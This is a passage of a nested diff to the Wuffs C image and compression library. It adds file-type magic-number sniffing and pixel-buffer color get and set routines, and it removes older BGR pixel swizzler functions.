0 : -1; ++ } ++ switch (prefix_data.ptr[16]) { ++ case 0x01: ++ case 0x08: ++ case 0x0F: ++ case 0x10: ++ case 0x18: ++ case 0x20: ++ break; ++ default: ++ return 0; + } + +- return len; ++ return 0x54474120; // 'TGA 'be + } + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr__bgra_nonpremul_4x16le__src_over( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len3 = dst_len / 3; +- size_t src_len8 = src_len / 8; +- size_t len = (dst_len3 < src_len8) ? dst_len3 : src_len8; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++WUFFS_BASE__MAYBE_STATIC int32_t // ++wuffs_base__magic_number_guess_fourcc(wuffs_base__slice_u8 prefix_data, ++ bool prefix_closed) { ++ // This is similar to (but different from): ++ // - the magic/Magdir tables under https://github.com/file/file ++ // - the MIME Sniffing algorithm at https://mimesniff.spec.whatwg.org/ + +- // TODO: unroll. ++ // table holds the 'magic numbers' (which are actually variable length ++ // strings). The strings may contain NUL bytes, so the "const char* magic" ++ // value starts with the length-minus-1 of the 'magic number'. ++ // ++ // Keep it sorted by magic[1], then magic[0] descending (prioritizing longer ++ // matches) and finally by magic[2:]. When multiple entries match, the ++ // longest one wins. ++ // ++ // The fourcc field might be negated, in which case there's further ++ // specialization (see § below). ++ static struct { ++ int32_t fourcc; ++ const char* magic; ++ } table[] = { ++ {-0x30302020, "\x01\x00\x00"}, // '00 'be ++ {+0x475A2020, "\x02\x1F\x8B\x08"}, // GZ ++ {+0x5A535444, "\x03\x28\xB5\x2F\xFD"}, // ZSTD ++ {+0x425A3220, "\x02\x42\x5A\x68"}, // BZ2 ++ {+0x424D5020, "\x01\x42\x4D"}, // BMP ++ {+0x47494620, "\x03\x47\x49\x46\x38"}, // GIF ++ {+0x54494646, "\x03\x49\x49\x2A\x00"}, // TIFF (little-endian) ++ {+0x4C5A4950, "\x04\x4C\x5A\x49\x50\x01"}, // LZIP ++ {+0x54494646, "\x03\x4D\x4D\x00\x2A"}, // TIFF (big-endian) ++ {+0x4E50424D, "\x02\x50\x35\x0A"}, // NPBM (P5; *.pgm) ++ {+0x4E50424D, "\x02\x50\x36\x0A"}, // NPBM (P6; *.ppm) ++ {-0x52494646, "\x03\x52\x49\x46\x46"}, // RIFF ++ {+0x4C5A4D41, "\x04\x5D\x00\x10\x00\x00"}, // LZMA ++ {+0x4C5A4D41, "\x02\x5D\x00\x00"}, // LZMA ++ {+0x4E494520, "\x02\x6E\xC3\xAF"}, // NIE ++ {+0x514F4920, "\x03\x71\x6F\x69\x66"}, // QOI ++ {+0x5A4C4942, "\x01\x78\x9C"}, // ZLIB ++ {+0x504E4720, "\x03\x89\x50\x4E\x47"}, // PNG ++ {+0x585A2020, "\x04\xFD\x37\x7A\x58\x5A"}, // XZ ++ {+0x4A504547, "\x01\xFF\xD8"}, // JPEG ++ }; ++ static const size_t table_len = sizeof(table) / sizeof(table[0]); + +- while (n >= 1) { +- // Extract 16-bit color components. +- uint32_t dr = 0x101 * ((uint32_t)d[2]); +- uint32_t dg = 0x101 * ((uint32_t)d[1]); +- uint32_t db = 0x101 * ((uint32_t)d[0]); +- uint32_t sa = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 6)); +- uint32_t sr = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 4)); +- uint32_t sg = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 2)); +- uint32_t sb = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 0)); ++ if (prefix_data.len == 0) { ++ return prefix_closed ? 0 : -1; ++ } ++ uint8_t pre_first_byte = prefix_data.ptr[0]; + +- // Calculate the inverse of the src-alpha: how much of the dst to keep. +- uint32_t ia = 0xFFFF - sa; ++ int32_t fourcc = 0; ++ size_t i; ++ for (i = 0; i < table_len; i++) { ++ uint8_t mag_first_byte = ((uint8_t)(table[i].magic[1])); ++ if (pre_first_byte < mag_first_byte) { ++ break; ++ } else if (pre_first_byte > mag_first_byte) { ++ continue; ++ } ++ fourcc = table[i].fourcc; + +- // Composite src (nonpremul) over dst (premul). +- dr = ((sr * sa) + (dr * ia)) / 0xFFFF; +- dg = ((sg * sa) + (dg * ia)) / 0xFFFF; +- db = ((sb * sa) + (db * ia)) / 0xFFFF; ++ uint8_t mag_remaining_len = ((uint8_t)(table[i].magic[0])); ++ if (mag_remaining_len == 0) { ++ goto match; ++ } + +- // Convert from 16-bit color to 8-bit color. +- d[0] = (uint8_t)(db >> 8); +- d[1] = (uint8_t)(dg >> 8); +- d[2] = (uint8_t)(dr >> 8); ++ const char* mag_remaining_ptr = table[i].magic + 2; ++ uint8_t* pre_remaining_ptr = prefix_data.ptr + 1; ++ size_t pre_remaining_len = prefix_data.len - 1; ++ if (pre_remaining_len < mag_remaining_len) { ++ if (!memcmp(pre_remaining_ptr, mag_remaining_ptr, pre_remaining_len)) { ++ return prefix_closed ? 0 : -1; ++ } ++ } else { ++ if (!memcmp(pre_remaining_ptr, mag_remaining_ptr, mag_remaining_len)) { ++ goto match; ++ } ++ } ++ } + +- s += 1 * 8; +- d += 1 * 3; +- n -= 1; ++ if (prefix_data.len < 2) { ++ return prefix_closed ? 0 : -1; ++ } else if ((prefix_data.ptr[1] == 0x00) || (prefix_data.ptr[1] == 0x01)) { ++ return wuffs_base__magic_number_guess_fourcc__maybe_tga(prefix_data, ++ prefix_closed); + } + +- return len; +-} ++ return 0; + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr__bgra_premul__src(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len3 = dst_len / 3; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++match: ++ // Negative FourCC values (see § above) are further specialized. ++ if (fourcc < 0) { ++ fourcc = -fourcc; + +- while (n >= 1) { +- uint8_t s0 = s[0]; +- uint8_t s1 = s[1]; +- uint8_t s2 = s[2]; +- d[0] = s0; +- d[1] = s1; +- d[2] = s2; ++ if (fourcc == 0x52494646) { // 'RIFF'be ++ if (prefix_data.len < 12) { ++ return prefix_closed ? 0 : -1; ++ } ++ uint32_t x = wuffs_base__peek_u32be__no_bounds_check(prefix_data.ptr + 8); ++ if (x == 0x57454250) { // 'WEBP'be ++ return 0x57454250; // 'WEBP'be ++ } + +- s += 1 * 4; +- d += 1 * 3; +- n -= 1; ++ } else if (fourcc == 0x30302020) { // '00 'be ++ // Binary data starting with multiple 0x00 NUL bytes is quite common. ++ // Unfortunately, some file formats also don't start with a magic ++ // identifier, so we have to use heuristics (where the order matters, the ++ // same as /usr/bin/file's magic/Magdir tables) as best we can. Maybe ++ // it's TGA, ICO/CUR, etc. Maybe it's something else. ++ int32_t tga = wuffs_base__magic_number_guess_fourcc__maybe_tga( ++ prefix_data, prefix_closed); ++ if (tga != 0) { ++ return tga; ++ } ++ int32_t ico = wuffs_base__magic_number_guess_fourcc__maybe_ico( ++ prefix_data, prefix_closed); ++ if (ico != 0) { ++ return ico; ++ } ++ if (prefix_data.len < 4) { ++ return prefix_closed ? 0 : -1; ++ } else if ((prefix_data.ptr[2] != 0x00) && ++ ((prefix_data.ptr[2] >= 0x80) || ++ (prefix_data.ptr[3] != 0x00))) { ++ // Roughly speaking, this could be a non-degenerate (non-0-width and ++ // non-0-height) WBMP image. ++ return 0x57424D50; // 'WBMP'be ++ } ++ return 0; ++ } + } +- +- return len; ++ return fourcc; + } + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr__bgra_premul__src_over(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len3 = dst_len / 3; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; +- +- while (n >= 1) { +- // Extract 16-bit color components. +- uint32_t dr = 0x101 * ((uint32_t)d[2]); +- uint32_t dg = 0x101 * ((uint32_t)d[1]); +- uint32_t db = 0x101 * ((uint32_t)d[0]); +- uint32_t sa = 0x101 * ((uint32_t)s[3]); +- uint32_t sr = 0x101 * ((uint32_t)s[2]); +- uint32_t sg = 0x101 * ((uint32_t)s[1]); +- uint32_t sb = 0x101 * ((uint32_t)s[0]); +- +- // Calculate the inverse of the src-alpha: how much of the dst to keep. +- uint32_t ia = 0xFFFF - sa; ++#endif // !defined(WUFFS_CONFIG__MODULES) || ++ // defined(WUFFS_CONFIG__MODULE__BASE) || ++ // defined(WUFFS_CONFIG__MODULE__BASE__MAGIC) + +- // Composite src (premul) over dst (premul). +- dr = sr + ((dr * ia) / 0xFFFF); +- dg = sg + ((dg * ia) / 0xFFFF); +- db = sb + ((db * ia) / 0xFFFF); ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BASE) || \ ++ defined(WUFFS_CONFIG__MODULE__BASE__PIXCONV) + +- // Convert from 16-bit color to 8-bit color. +- d[0] = (uint8_t)(db >> 8); +- d[1] = (uint8_t)(dg >> 8); +- d[2] = (uint8_t)(dr >> 8); ++// ---------------- Pixel Swizzler + +- s += 1 * 4; +- d += 1 * 3; +- n -= 1; +- } ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") ++static uint64_t // ++wuffs_private_impl__swizzle_bgrw__bgr__x86_sse42(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len); + +- return len; +-} ++static uint64_t // ++wuffs_private_impl__swizzle_bgrw__rgb__x86_sse42(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len); + ++WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") + static uint64_t // +-wuffs_base__pixel_swizzler__bgr__rgba_nonpremul__src(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len3 = dst_len / 3; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++wuffs_private_impl__swizzle_swap_rgbx_bgrx__x86_sse42(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len); + +- // TODO: unroll. ++WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") ++static uint64_t // ++wuffs_private_impl__swizzle_xxxx__y__x86_sse42(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len); ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) + +- while (n >= 1) { +- uint32_t s0 = wuffs_base__swap_u32_argb_abgr( +- wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul( +- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)))); +- wuffs_base__poke_u24le__no_bounds_check(d + (0 * 3), s0); ++// -------- + +- s += 1 * 4; +- d += 1 * 3; +- n -= 1; +- } ++static inline uint32_t // ++wuffs_private_impl__swap_u32_argb_abgr(uint32_t u) { ++ uint32_t o = u & 0xFF00FF00ul; ++ uint32_t r = u & 0x00FF0000ul; ++ uint32_t b = u & 0x000000FFul; ++ return o | (r >> 16) | (b << 16); ++} + +- return len; ++static inline uint64_t // ++wuffs_private_impl__swap_u64_argb_abgr(uint64_t u) { ++ uint64_t o = u & 0xFFFF0000FFFF0000ull; ++ uint64_t r = u & 0x0000FFFF00000000ull; ++ uint64_t b = u & 0x000000000000FFFFull; ++ return o | (r >> 32) | (b << 32); + } + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr__rgba_nonpremul_4x16le__src( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len3 = dst_len / 3; +- size_t src_len8 = src_len / 8; +- size_t len = (dst_len3 < src_len8) ? dst_len3 : src_len8; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++static inline uint32_t // ++wuffs_private_impl__color_u64__as__color_u32__swap_u32_argb_abgr(uint64_t c) { ++ uint32_t a = ((uint32_t)(0xFF & (c >> 56))); ++ uint32_t r = ((uint32_t)(0xFF & (c >> 40))); ++ uint32_t g = ((uint32_t)(0xFF & (c >> 24))); ++ uint32_t b = ((uint32_t)(0xFF & (c >> 8))); ++ return (a << 24) | (b << 16) | (g << 8) | (r << 0); ++} + +- // TODO: unroll. ++// -------- + +- while (n >= 1) { +- uint32_t s0 = wuffs_base__swap_u32_argb_abgr( +- wuffs_base__color_u64_argb_nonpremul__as__color_u32_argb_premul( +- wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8)))); +- wuffs_base__poke_u24le__no_bounds_check(d + (0 * 3), s0); ++WUFFS_BASE__MAYBE_STATIC wuffs_base__color_u32_argb_premul // ++wuffs_base__pixel_buffer__color_u32_at(const wuffs_base__pixel_buffer* pb, ++ uint32_t x, ++ uint32_t y) { ++ if (!pb || (x >= pb->pixcfg.private_impl.width) || ++ (y >= pb->pixcfg.private_impl.height)) { ++ return 0; ++ } + +- s += 1 * 8; +- d += 1 * 3; +- n -= 1; ++ if (wuffs_base__pixel_format__is_planar(&pb->pixcfg.private_impl.pixfmt)) { ++ // TODO: support planar formats. ++ return 0; + } + +- return len; +-} ++ size_t stride = pb->private_impl.planes[0].stride; ++ const uint8_t* row = pb->private_impl.planes[0].ptr + (stride * ((size_t)y)); + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr__rgba_nonpremul__src_over( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len3 = dst_len / 3; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++ switch (pb->pixcfg.private_impl.pixfmt.repr) { ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: ++ return wuffs_base__peek_u32le__no_bounds_check(row + (4 * ((size_t)x))); + +- // TODO: unroll. ++ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_BINARY: { ++ uint8_t* palette = pb->private_impl.planes[3].ptr; ++ return wuffs_base__peek_u32le__no_bounds_check(palette + ++ (4 * ((size_t)row[x]))); ++ } + +- while (n >= 1) { +- // Extract 16-bit color components. +- uint32_t dr = 0x101 * ((uint32_t)d[2]); +- uint32_t dg = 0x101 * ((uint32_t)d[1]); +- uint32_t db = 0x101 * ((uint32_t)d[0]); +- uint32_t sa = 0x101 * ((uint32_t)s[3]); +- uint32_t sb = 0x101 * ((uint32_t)s[2]); +- uint32_t sg = 0x101 * ((uint32_t)s[1]); +- uint32_t sr = 0x101 * ((uint32_t)s[0]); ++ // Common formats above. Rarer formats below. + +- // Calculate the inverse of the src-alpha: how much of the dst to keep. +- uint32_t ia = 0xFFFF - sa; ++ case WUFFS_BASE__PIXEL_FORMAT__Y: ++ return 0xFF000000 | (0x00010101 * ((uint32_t)(row[x]))); ++ case WUFFS_BASE__PIXEL_FORMAT__Y_16LE: ++ return 0xFF000000 | (0x00010101 * ((uint32_t)(row[(2 * x) + 1]))); ++ case WUFFS_BASE__PIXEL_FORMAT__Y_16BE: ++ return 0xFF000000 | (0x00010101 * ((uint32_t)(row[(2 * x) + 0]))); ++ case WUFFS_BASE__PIXEL_FORMAT__YA_NONPREMUL: ++ return wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul( ++ (((uint32_t)(row[(2 * x) + 1])) << 24) | ++ (((uint32_t)(row[(2 * x) + 0])) * 0x00010101)); + +- // Composite src (nonpremul) over dst (premul). +- dr = ((sr * sa) + (dr * ia)) / 0xFFFF; +- dg = ((sg * sa) + (dg * ia)) / 0xFFFF; +- db = ((sb * sa) + (db * ia)) / 0xFFFF; ++ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL: { ++ uint8_t* palette = pb->private_impl.planes[3].ptr; ++ return wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul( ++ wuffs_base__peek_u32le__no_bounds_check(palette + ++ (4 * ((size_t)row[x])))); ++ } + +- // Convert from 16-bit color to 8-bit color. +- d[0] = (uint8_t)(db >> 8); +- d[1] = (uint8_t)(dg >> 8); +- d[2] = (uint8_t)(dr >> 8); ++ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: ++ return wuffs_base__color_u16_rgb_565__as__color_u32_argb_premul( ++ wuffs_base__peek_u16le__no_bounds_check(row + (2 * ((size_t)x)))); ++ case WUFFS_BASE__PIXEL_FORMAT__BGR: ++ return 0xFF000000 | ++ wuffs_base__peek_u24le__no_bounds_check(row + (3 * ((size_t)x))); ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: ++ return wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul( ++ wuffs_base__peek_u32le__no_bounds_check(row + (4 * ((size_t)x)))); ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: ++ return wuffs_base__color_u64_argb_nonpremul__as__color_u32_argb_premul( ++ wuffs_base__peek_u64le__no_bounds_check(row + (8 * ((size_t)x)))); ++ case WUFFS_BASE__PIXEL_FORMAT__BGRX: ++ return 0xFF000000 | ++ wuffs_base__peek_u32le__no_bounds_check(row + (4 * ((size_t)x))); + +- s += 1 * 4; +- d += 1 * 3; +- n -= 1; ++ case WUFFS_BASE__PIXEL_FORMAT__RGB: ++ return wuffs_private_impl__swap_u32_argb_abgr( ++ 0xFF000000 | ++ wuffs_base__peek_u24le__no_bounds_check(row + (3 * ((size_t)x)))); ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: ++ return wuffs_private_impl__swap_u32_argb_abgr( ++ wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul( ++ wuffs_base__peek_u32le__no_bounds_check(row + ++ (4 * ((size_t)x))))); ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY: ++ return wuffs_private_impl__swap_u32_argb_abgr( ++ wuffs_base__peek_u32le__no_bounds_check(row + (4 * ((size_t)x)))); ++ case WUFFS_BASE__PIXEL_FORMAT__RGBX: ++ return wuffs_private_impl__swap_u32_argb_abgr( ++ 0xFF000000 | ++ wuffs_base__peek_u32le__no_bounds_check(row + (4 * ((size_t)x)))); ++ ++ default: ++ // TODO: support more formats. ++ break; + } + +- return len; ++ return 0; + } + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr__rgba_nonpremul_4x16le__src_over( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len3 = dst_len / 3; +- size_t src_len8 = src_len / 8; +- size_t len = (dst_len3 < src_len8) ? dst_len3 : src_len8; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++// -------- + +- // TODO: unroll. ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status // ++wuffs_base__pixel_buffer__set_color_u32_at( ++ wuffs_base__pixel_buffer* pb, ++ uint32_t x, ++ uint32_t y, ++ wuffs_base__color_u32_argb_premul color) { ++ if (!pb) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if ((x >= pb->pixcfg.private_impl.width) || ++ (y >= pb->pixcfg.private_impl.height)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } + +- while (n >= 1) { +- // Extract 16-bit color components. +- uint32_t dr = 0x101 * ((uint32_t)d[2]); +- uint32_t dg = 0x101 * ((uint32_t)d[1]); +- uint32_t db = 0x101 * ((uint32_t)d[0]); +- uint32_t sa = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 6)); +- uint32_t sb = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 4)); +- uint32_t sg = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 2)); +- uint32_t sr = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 0)); ++ if (wuffs_base__pixel_format__is_planar(&pb->pixcfg.private_impl.pixfmt)) { ++ // TODO: support planar formats. ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++ } + +- // Calculate the inverse of the src-alpha: how much of the dst to keep. +- uint32_t ia = 0xFFFF - sa; ++ size_t stride = pb->private_impl.planes[0].stride; ++ uint8_t* row = pb->private_impl.planes[0].ptr + (stride * ((size_t)y)); + +- // Composite src (nonpremul) over dst (premul). +- dr = ((sr * sa) + (dr * ia)) / 0xFFFF; +- dg = ((sg * sa) + (dg * ia)) / 0xFFFF; +- db = ((sb * sa) + (db * ia)) / 0xFFFF; ++ switch (pb->pixcfg.private_impl.pixfmt.repr) { ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__BGRX: ++ wuffs_base__poke_u32le__no_bounds_check(row + (4 * ((size_t)x)), color); ++ break; + +- // Convert from 16-bit color to 8-bit color. +- d[0] = (uint8_t)(db >> 8); +- d[1] = (uint8_t)(dg >> 8); +- d[2] = (uint8_t)(dr >> 8); ++ // Common formats above. Rarer formats below. + +- s += 1 * 8; +- d += 1 * 3; +- n -= 1; +- } ++ case WUFFS_BASE__PIXEL_FORMAT__Y: ++ wuffs_base__poke_u8__no_bounds_check( ++ row + ((size_t)x), ++ wuffs_base__color_u32_argb_premul__as__color_u8_gray(color)); ++ break; ++ case WUFFS_BASE__PIXEL_FORMAT__Y_16LE: ++ wuffs_base__poke_u16le__no_bounds_check( ++ row + (2 * ((size_t)x)), ++ wuffs_base__color_u32_argb_premul__as__color_u16_gray(color)); ++ break; ++ case WUFFS_BASE__PIXEL_FORMAT__Y_16BE: ++ wuffs_base__poke_u16be__no_bounds_check( ++ row + (2 * ((size_t)x)), ++ wuffs_base__color_u32_argb_premul__as__color_u16_gray(color)); ++ break; ++ case WUFFS_BASE__PIXEL_FORMAT__YA_NONPREMUL: ++ wuffs_base__poke_u16le__no_bounds_check( ++ row + (2 * ((size_t)x)), ++ wuffs_base__color_u32_argb_premul__as__color_u16_alpha_gray_nonpremul( ++ color)); ++ break; + +- return len; +-} ++ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_BINARY: ++ wuffs_base__poke_u8__no_bounds_check( ++ row + ((size_t)x), wuffs_base__pixel_palette__closest_element( ++ wuffs_base__pixel_buffer__palette(pb), ++ pb->pixcfg.private_impl.pixfmt, color)); ++ break; + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr__rgba_premul__src(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len3 = dst_len / 3; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++ case WUFFS_BASE__PIXEL_FORMAT__BGR_565: ++ wuffs_base__poke_u16le__no_bounds_check( ++ row + (2 * ((size_t)x)), ++ wuffs_base__color_u32_argb_premul__as__color_u16_rgb_565(color)); ++ break; ++ case WUFFS_BASE__PIXEL_FORMAT__BGR: ++ wuffs_base__poke_u24le__no_bounds_check(row + (3 * ((size_t)x)), color); ++ break; ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL: ++ wuffs_base__poke_u32le__no_bounds_check( ++ row + (4 * ((size_t)x)), ++ wuffs_base__color_u32_argb_premul__as__color_u32_argb_nonpremul( ++ color)); ++ break; ++ case WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE: ++ wuffs_base__poke_u64le__no_bounds_check( ++ row + (8 * ((size_t)x)), ++ wuffs_base__color_u32_argb_premul__as__color_u64_argb_nonpremul( ++ color)); ++ break; + +- while (n >= 1) { +- uint8_t s0 = s[0]; +- uint8_t s1 = s[1]; +- uint8_t s2 = s[2]; +- d[0] = s2; +- d[1] = s1; +- d[2] = s0; ++ case WUFFS_BASE__PIXEL_FORMAT__RGB: ++ wuffs_base__poke_u24le__no_bounds_check( ++ row + (3 * ((size_t)x)), ++ wuffs_private_impl__swap_u32_argb_abgr(color)); ++ break; ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL: ++ wuffs_base__poke_u32le__no_bounds_check( ++ row + (4 * ((size_t)x)), ++ wuffs_base__color_u32_argb_premul__as__color_u32_argb_nonpremul( ++ wuffs_private_impl__swap_u32_argb_abgr(color))); ++ break; ++ case WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL: ++ case WUFFS_BASE__PIXEL_FORMAT__RGBX: ++ wuffs_base__poke_u32le__no_bounds_check( ++ row + (4 * ((size_t)x)), ++ wuffs_private_impl__swap_u32_argb_abgr(color)); ++ break; + +- s += 1 * 4; +- d += 1 * 3; +- n -= 1; ++ default: ++ // TODO: support more formats. ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); + } + +- return len; ++ return wuffs_base__make_status(NULL); + } + +-static uint64_t // +-wuffs_base__pixel_swizzler__bgr__rgba_premul__src_over(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len3 = dst_len / 3; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++// -------- + +- while (n >= 1) { +- // Extract 16-bit color components. +- uint32_t dr = 0x101 * ((uint32_t)d[2]); +- uint32_t dg = 0x101 * ((uint32_t)d[1]); +- uint32_t db = 0x101 * ((uint32_t)d[0]); +- uint32_t sa = 0x101 * ((uint32_t)s[3]); +- uint32_t sb = 0x101 * ((uint32_t)s[2]); +- uint32_t sg = 0x101 * ((uint32_t)s[1]); +- uint32_t sr = 0x101 * ((uint32_t)s[0]); ++static inline void // ++wuffs_private_impl__pixel_buffer__set_color_u32_fill_rect__xx( ++ wuffs_base__pixel_buffer* pb, ++ wuffs_base__rect_ie_u32 rect, ++ uint16_t color) { ++ size_t stride = pb->private_impl.planes[0].stride; ++ uint32_t width = wuffs_base__rect_ie_u32__width(&rect); ++ if ((stride == (2 * ((uint64_t)width))) && (rect.min_incl_x == 0)) { ++ uint8_t* ptr = ++ pb->private_impl.planes[0].ptr + (stride * ((size_t)rect.min_incl_y)); ++ uint32_t height = wuffs_base__rect_ie_u32__height(&rect); ++ size_t n; ++ for (n = ((size_t)width) * ((size_t)height); n > 0; n--) { ++ wuffs_base__poke_u16le__no_bounds_check(ptr, color); ++ ptr += 2; ++ } ++ return; ++ } + +- // Calculate the inverse of the src-alpha: how much of the dst to keep. +- uint32_t ia = 0xFFFF - sa; ++ uint32_t y; ++ for (y = rect.min_incl_y; y < rect.max_excl_y; y++) { ++ uint8_t* ptr = pb->private_impl.planes[0].ptr + (stride * ((size_t)y)) + ++ (2 * ((size_t)rect.min_incl_x)); ++ uint32_t n; ++ for (n = width; n > 0; n--) { ++ wuffs_base__poke_u16le__no_bounds_check(ptr, color); ++ ptr += 2; ++ } ++ } ++} + +- // Composite src (premul) over dst (premul). +- dr = sr + ((dr * ia) / 0xFFFF); +- dg = sg + ((dg * ia) / 0xFFFF); +- db = sb + ((db * ia) / 0xFFFF); ++static inline void // ++wuffs_private_impl__pixel_buffer__set_color_u32_fill_rect__xxx( ++ wuffs_base__pixel_buffer* pb, ++ wuffs_base__rect_ie_u32 rect, ++ uint32_t color) { ++ size_t stride = pb->private_impl.planes[0].stride; ++ uint32_t width = wuffs_base__rect_ie_u32__width(&rect); ++ if ((stride == (3 * ((uint64_t)width))) && (rect.min_incl_x == 0)) { ++ uint8_t* ptr = ++ pb->private_impl.planes[0].ptr + (stride * ((size_t)rect.min_incl_y)); ++ uint32_t height = wuffs_base__rect_ie_u32__height(&rect); ++ size_t n; ++ for (n = ((size_t)width) * ((size_t)height); n > 0; n--) { ++ wuffs_base__poke_u24le__no_bounds_check(ptr, color); ++ ptr += 3; ++ } ++ return; ++ } + +- // Convert from 16-bit color to 8-bit color. +- 